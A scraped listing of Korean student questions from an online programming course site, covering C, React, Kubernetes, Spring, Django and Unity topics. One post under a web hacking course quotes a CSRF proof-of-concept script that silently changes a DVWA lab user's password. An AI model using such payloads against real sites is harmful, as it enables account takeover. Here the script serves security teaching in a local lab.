묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결홍정모의 따라하며 배우는 C언어
10.15 (18분27초) 강의의 마지막 부분 c const and c++ const 에 관한 질문입니다!
-------------------------------------1번째질문 -------------------------------- /*C const and C++ const*/ { const int y; const int* p2 = &y; int* p1; p1 = p2; //warning (error in cpp) } 우선 이 코드는 const를 우회해서 회피하려는 시도라 이런 코드를 왠만하면 사용하지 말라고 하셨는데, 왜 안되는지 궁금합니다. 제가 이해하기론 p1 의 주소값이 p2의 포인트주소 (y의 주소를 가르키는)로 대입되는거라 const에 구애 받지않고 변경이 가능하다고 생각이 들었습니다. 당연히 기존의 p1 = p2; 대신 p2 = p1; 이 들어간다면 (const int* p2 = &y;)의 const로 인해 p2의 주소가 변환이 되지 않아 error가 뜨겠지요. 하지만 p1은 const로 고정되어 있지 않은데 사용 가능한거 아닌가 하는 생각이 듭니다. 어떠한 이유에서 이런 코드 사용을 지양해야하는 건가요??----------------------------------------2번째 질문----------------------------------- 기존 본문대로 실행 후 아웃풋 창을 봤을 때 1>F:\Cproject\C_study\C_study\8_ptr_Compatibility_12.c(75,10): warning C4090: '=': different 'const' qualifiers 이런식 으로 나오는데 ( int* p1; )를 const int* p1; 로 교체 해줄 시 warning이 사라집니다.혹시 const를 앞에 붙이면 이 코드를 사용 가능해지는지요?? /*C const and C++ const*/ { const int y; const int* p2 = &y; const int* p1; p1 = p2; //warning (error in cpp) } const를 붙이는것 자체가 주소 수정이 불가해져야하는데 오히려 워닝이 사라지니 당황스럽네요
-
미해결React로 NodeBird SNS 만들기
댓글 삭제 관련 질문이었는데 답 댓글이 안 달려서 한 번 더 남깁니다!
https://www.inflearn.com/questions/35932 댓글로 문제 상황을 남겨놨는데 확인 한 번 부탁드립니다 '-'!!!
-
미해결대세는 쿠버네티스 (초급~중급편)
dns 적용범위 질문.
안녕하세요. 항상 좋은 강의에 먼저 감사드립니다 ^^ 강의를 듣다가 궁금한 부분이 있어서요! 쿠버네티스 클러스터내에 DNS 가 있고, 이 클러스터 내에서는 해당 dns 를 참조하여 호출하기 때문에 가령, clsuter1.default.svc.cluster.local와 같이 service 도메인으로 호출하여도 문제없이 호출이 됨을 실습에서 확인하였는데요. 저는 당연히 해당 클러스터에 포함된 노드에서 (pod 안에서가 아닌 pod가 위치한 노드에서 curl 호출) curl 을 호출하니 clsuter1.default.svc.cluster.local와 같은 도메인은 참조가 안되는것을 확인 했습니다. 당연히 클러스터에 포함된 Node 도 쿠버네티스가 관리하는 DNS 를 먼저 확인할줄 알았는데, 쿠버네티스 DNS 를 참조하진 않는듯한데요, 이처럼 쿠버네티스 클러스터의 DNS 는, 노드에서는 유효하지 않고 pod 안에서만 유효한 게 맞는건지 궁금합니다.
-
해결됨스프링 부트 개념과 활용
Test 클래스가 여러개 일경우 어떻게 한꺼번에 실행하나요?
스크린샷처럼 각 계층별로 테스트 클래스를 둔다면 인텔리제이로 한번 실행으로 전체 테스트 하게 할 수 있나요?
-
미해결플러터와 장고로 1시간만에 퀴즈 앱/서버 만들기 [무작정 풀스택]
윈도우 사용자는 명령어가 달라요
1. 가상환경 설치 `python -m venv venv' 2. 가상환경 실행 `source venv/Scripts/activate` or `. venv/Scripts/activate`
-
미해결웹 게임을 만들며 배우는 React
해당강의 수료후에는 어떤강의를 듣는게 좋을까요?
생활코딩님의 기초 리액트 강의 다음으로 이 강의를 듣게되었는데 사용법을 하나하나 예시로 보여주셔서 너무 유익한 강의였던거 같습니다. 강의를 듣고난 이후 Hooks의 사용(useEffect, useMemo, useCallback, useReducer, useContext등의 Hooks들이 각각 무슨일을하는지는 이해했지만, 어떠한경우에 사용해야하는지에 대해 잘 모르겠습니다.) 에 대해서 조금더 깊게 알아보고싶은데 어떤 강의를 수강하는게 좋을까요??
-
미해결Teams 라이브 이벤트로 온라인 방송/교육/세미나하기
새 라이브 이벤트 탭이 없어요
Office E1 구독하여 팀즈를 사용중입니다. 아래 이미지와과 같이 우측 상단에 새 라이브 이벤트 탭이 존재하지 않습니다.
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 유튜브 사이트 만들기
key={index} 추가 필요합니다.
동작을 시켜보니 에러가 발생하여 Landing/ subscription Page 에 return <Col key={index} lg={6} md={8} xs={24}> 를 추가 하면 없어 집니다.
-
해결됨스프링 웹 MVC
스프링 부트 2.3.0 이상은 의존성을 추가해주셔야 합니다.
스프링 이니셜라이저로 프로젝트 생성후 학습하실때, 2.3 버전 이상은 의존성을 추가해주셔야 합니다. 해당 내용 관한 백기선 선생님 유투부 링크 남깁니다 ^^7 https://youtu.be/cP8TwMV4LjE
-
미해결인터랙티브 웹 개발 제대로 시작하기
backface-visibility: hidden;
안녕하세요 :) 영상에서 보면 backface-visibility: hidden;을 쓰기 전에는 번쩍 거리는데 저는 쓰지않았는데도 번쩍이지않고 작동이 잘 됩니다 왜 그러는지 알고싶습니다ㅜ
-
미해결[개정판] 딥러닝 컴퓨터 비전 완벽 가이드
west1 서버에 자리가 남지않은 것 같습니다.
이럴경우 wm01과 다르게 다른 지역의 서버를 이용해도 될까요?
-
미해결실전! 스프링 부트와 JPA 활용2 - API 개발과 성능 최적화
강의 잘 보고 있습니다! 질문이 있습니다.
강의 처음부터 따라가면서 토이프로젝트 하나 만들어보고 있는데요~게시판 CRUD를 간단하게 구현해보고 있는데 delete 문 같은 경우 repository 에서 어떻게 처리해줘야 할지 모르겠어서 질문 드립니다! 아래와 같이 코드 작성 해봤는데 잘 안되어서요 ㅎㅎㅎ 좋은 강의 만들어주셔서 감사합니다! public void deleteById(Long id){ em.createQuery("delete b from Board b where b.id = :id",Board.class) .setParameter("id",id);}
-
미해결화이트해커가 되기 위한 8가지 웹 해킹 기술
선생님
<script language="javascript"> function poc() { var host='localhost'; var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change"; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET",req_uri,true); xmlhttp.withCredentials = "true"; xmlhttp.send(); alert('Done!!'); } </script> 직접 자바스크립트 작성하신거죠 ? 저도 자바스크립트 배우면 선생님처럼 작성 가능할까요 ?
-
미해결단 두 장의 문서로 데이터 분석과 시각화 뽀개기
질문드립니다
강의내용 중에 .qcut을 사용하여 카테고리컬한 구분(bad, medium, good) 내용이 있습니다 10개의 데이터값이 2가 넘지 않는 소수 6번째짜리의 값들을 구분하였는데 낮은 값이 bad, 높은 값이 good, 중간 정도의 값이 medium으로 출력되었습니다 어떤 기준으로 .qcut 코드가 bad, good, medium을 구분하였는지 궁금합니다.
-
미해결[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part3: 유니티 엔진
안녕하세요 강의를 보다가 inputManager의 invoke에 관해서 궁금해서 질문드립니다.
c++ 만 주로 공부하다가 c#과 유니티를 공부한지 얼마 안된 학생입니다. 대부분은 문법이 비슷해서 쉽게 이해하고 넘어갔지만 역시 delegate쪽에서 약간 애를 먹고 있습니다. 제가 아직 콜백과 코루틴의 개념이 제대로 잡혀있지않습니다.. 각설하고 InputManager를 작성하실 때 delegate인 action과 invoke를 이용해서 작성하셨는데요 제가 예전에 만들어봤던 InputManager는 키 입력을 if(PressedA) b_A = true; 이런 방식으로 Manager에서 bool값을 이용해서 바꿔주었습니다. 그리고 그걸 이용하는 player에서는 해당 bool값을 검사해 해당 프레임에서 눌렸는지를 우선 검사한뒤 해당 동작에 대한 처리를 했습니다. 이와다르게 구독을 통해서 구현하셨는데요 제가 아직 c#을 안해서 개념이 잘 안잡혀있기 때문에 싱글턴으로 InputManager를 바로 Player에서 Using 한 다음 delegate 구독을 하지 않고 메소드만 따로 빼서 검사할 수 있는 방법도 있는데 (위에 언급한 방법) 어떤 이점이 있어서 구독과 invoke를 써서 구현하셨는지 궁금합니다.
-
미해결React로 NodeBird SNS 만들기
LOAD_FOLLOWERS_REQUEST 부분에 대해서 질문드립니다.
현재 reducers/user.js에서 case LOAD_FOLLOWERS_REQUEST: { return { ...state, hasMoreFollower: action.offset ? state.hasMoreFollower : true, // 처음화면 일때는, offset은 0 이므로, false취급을 받아서 true로 넘어간다.(=더보기 버튼을 보여준다.) // (처음화면일때 offset이 0인것은, router.get('/:id/followers'... 에서 확인가능) }; } 위와같이 hasMoreFollower: action.offset ? state.hasMoreFollower : true 부분을 적어주셨는데, 이 부분이 잘 이해가 가질 않아서 질문드립니다. 코드 뜻이 이해가 안가는게 아니라, 이 부분이 존재해야하는 이유를 잘 모르겠어서 질문드려요.ㅠ 제 생각에는 case LOAD_FOLLOWERS_SUCCESS: { return { ...state, followerList: state.followerList.concat(action.data), // 기존것을 덮어쓰지 말고, 기존것에 추가 hasMoreFollower: action.data.length === 3, // 방금 로드된 팔로워가 1명 또는 2명이라면, 더보기 버튼을 보여줄 필요가 없다. // 방금 로드된 팔로워가 3명일때만, 더보기 버튼을 보여줄 필요가 있다. }; } 위 처럼 LOAD_FOLLOWERS_SUCCESS부분에 hasMoreFollower: action.data.length === 3, 이 부분만 있어도 된다고 생각을 하는데,, 그 이유는.. ■첫번째이유 의미상으로도 팔로워가 로드됐을때, 3명이 로드되면(=limit을 3으로 설정했었음), LOAD REQUEST후에, LOAD SUCCESS 부분으로 가서... hasMoreFollower: action.data.length === 3, 이 부분이 true가 될거고, 더보기 버튼이 생길것입니다. (1명이나 2명이 action.data에 담겨오면, 더보기 버튼이 생기지 않을것입니다.) 따라서 저는 이부분만 있어도 충분하다고 생각을 했습니다.. . ■두번째 이유 처음 프로필 화면에 들어갔을때, redux DevTools를 보면, LOAD_FOLLOWINGS_REQUEST, LOAD_FOLLOWERS_REQUEST, LOAD_FOLLOWINGS_SUCCESS, LOAD_FOLLOWERS_SUCCESS, 이렇게 4개의 액션이 일어나는것을 확인할 수 있는데요. 이처럼, 처음화면역시 request->success로 바로 이동을 하는데, 그렇다면, 굳이 왜 LOAD_FOLLOWERS_REQUEST쪽에 hasMoreFollower: action.offset ? state.hasMoreFollower : true, 를 넣어줘야 하는지 잘 이해가 안갑니다. . 그래서 LOAD_FOLLOWERS_REQUEST쪽에 해당 구문을 주석을 처리한 후, 실행시켜봤습니다. case LOAD_FOLLOWERS_REQUEST: { return { ...state, //hasMoreFollower: action.offset ? state.hasMoreFollower : true, // 처음화면 일때는, offset은 0 이므로, false취급을 받아서 true로 넘어간다.(=더보기 버튼을 보여준다.) // (처음화면일때 offset이 0인것은, router.get('/:id/followers'... 에서 확인가능) }; } 이처럼 주석을 처리하고 프로필 화면을 들어가도 주석을 하지않았을때와 같은 결과가 나왔습니다. 제가 아직 리액트를 배운지 얼마 안되서 잘 몰라서 이런생각을 하는것일 수도 있을것 같습니다. . 요약하자면, 굳이 LOAD_FOLLOWER_REQUEST부분에 저 부분을 넣어주신 이유가 궁금합니다!
-
미해결Vue.js 완벽 가이드 - 실습과 리팩토링으로 배우는 실전 개념
데이터가 잘 안뿌려 집니다 !
안녕하세요. 데이터가 즉각 잘 안뿌려져서 질문 드립니다. 일단 중간 정리까지는 구조가 다 똑같은데요 ! 한가지 다른 점이 있습니다. 리스트 뿌려지는 게 구조가 비슷해서 연습삼아 Modal.vue 예제처럼 components 폴더 하위에 common 폴더를 만들어 리스트 뿌려지 지는 템플릿을 작성후(slot="name") 컴포넌트를 하나 만들어서 공통으로 사용하고 있습니다. 결과적으로는 뿌려지기는 합니다만... 새로고침 하고나서 news, jobs, ask 탭을 여러 번 이동한 후에야 뿌려지네요 .. 개발자 도구 vue 탭을 보면 새로고침 당시엔 state에 Array 로 값은 다 가지고 있는데.. 아마 공통적으로 쓰여지는 제가 만든 컴포넌트를 가져오는 속도가 안맞는 걸까요 ? 새로고침 후에 바로 뿌려져야 하는데 다른 방도가 있는 지 궁금합니다 ㅎㅎ
-
해결됨실전! 스프링 부트와 JPA 활용1 - 웹 애플리케이션 개발
테스트 파일 실행하면서 제가 겪었던 짧은 경험(?) 로그남깁니다.
현재 이니샬라이져 사이트에는 강의에서 사용한 버전이 습니다. (수동으로 어떻게든 그래들 버전 타이핑해서 임포트 시키면 될 것 같습니다만...) 그래도 저는 2.2.7.RELEASE 버전으로 했고, 같은 디펜던시를 추가했습니다. 강좌 소스 그대로 사용했을땐, 에러가 났었습니다. 에러내용: No tests found for given includes: blah blah blah 그런데, 이니샬라이져에서 플젝 만들때, 디폴트로 테스트 파일 만들어준 것 import 부분 보니, import org.junit.jupiter.api.Test; 이것있었습니다. 저도 지금은 강의 빨리빨리 돌려보면서 흐름을 쫒는게 더 중요하다고 생각해서 이 부분을 깊게 파고들진 않았지만, 혹시 다른분들도 저와 비슷한 이슈가 있으면, 참고하시면 좋겠다 생각해서 글 남깁니다~
-
미해결파이썬으로 장고(Django) 공략하기: 입문
장고 Queryset 질문이요.
저희 회사 개발자분이 그만둬서,, 제가 이 강의를 아직 듣지는 못했지만 질문 남깁니다. 부서의 매출합계 * 100 / 전체 매출합계로 해서 비중(%)를 구하려고 하는데요. Mariadb(MySQL)기준으로 SUM(`매출테이블`.매출컬럼) * 100 / SUM(SUM(`매출테이블`.매출컬럼)) OVER() as PER 이러한 컬럼인데요. 제 쿼리셋은 queryset = Sale.objects.all().select_related().values( ).annotate( dept_nm=F('Department__dept_nm'), dept_cd=F('Department__dept_cd'), sal_year=ExtractYear('sal_dt'), sal_month=ExtractMonth('sal_dt'), sal_famt=F('sal_famt'), ).values( 'sal_year', 'dept_cd', 'dept_nm' ).annotate( Jan=Coalesce(Sum(Case(When(sal_month=1, then='sal_famt'),)), 0), Feb=Coalesce(Sum(Case(When(sal_month=2, then='sal_famt'),)), 0), Mar=Coalesce(Sum(Case(When(sal_month=3, then='sal_famt'),)), 0), Apl=Coalesce(Sum(Case(When(sal_month=4, then='sal_famt'),)), 0), May=Coalesce(Sum(Case(When(sal_month=5, then='sal_famt'),)), 0), Jun=Coalesce(Sum(Case(When(sal_month=6, then='sal_famt'),)), 0), Jul=Coalesce(Sum(Case(When(sal_month=7, then='sal_famt'),)), 0), Aug=Coalesce(Sum(Case(When(sal_month=8, then='sal_famt'),)), 0), Sep=Coalesce(Sum(Case(When(sal_month=9, then='sal_famt'),)), 0), Oct=Coalesce(Sum(Case(When(sal_month=10, then='sal_famt'),)), 0), Nov=Coalesce(Sum(Case(When(sal_month=11, then='sal_famt'),)), 0), Dec=Coalesce(Sum(Case(When(sal_month=12, then='sal_famt'),)), 0), Tot=Coalesce(Sum('sal_famt'), 0), ).filter(sal_year=year).order_by('dept_cd') 현재 이런 구조입니다. Queryset 결과는 dept_nm, dept_cd, sal_year, Jan ~ Dec, Tot 으로 나오구요. 비중(합계)를 MariaDB에서는 Sum() Over()를 쳤는데. 장고 Queryset에서는 어떻게 해야 할까요?
-
미해결iOS AutoLayout을 활용한 실전 UI구성 전략 - 카카오톡 같은 고급 UI 만들기
마우스 드래그 다중선택
안녕하세요 선생님 강의 잘 보고 있습니다. 선생님 강의중에 스토리보드에서 마우스 드래그로 뷰들을 다중선택하는 게 나오더라고요, 근데 어떤 키를 입력하고 마우스 드래그를 해야하는지 몰라서 질문 남깁니다. 감사합니다.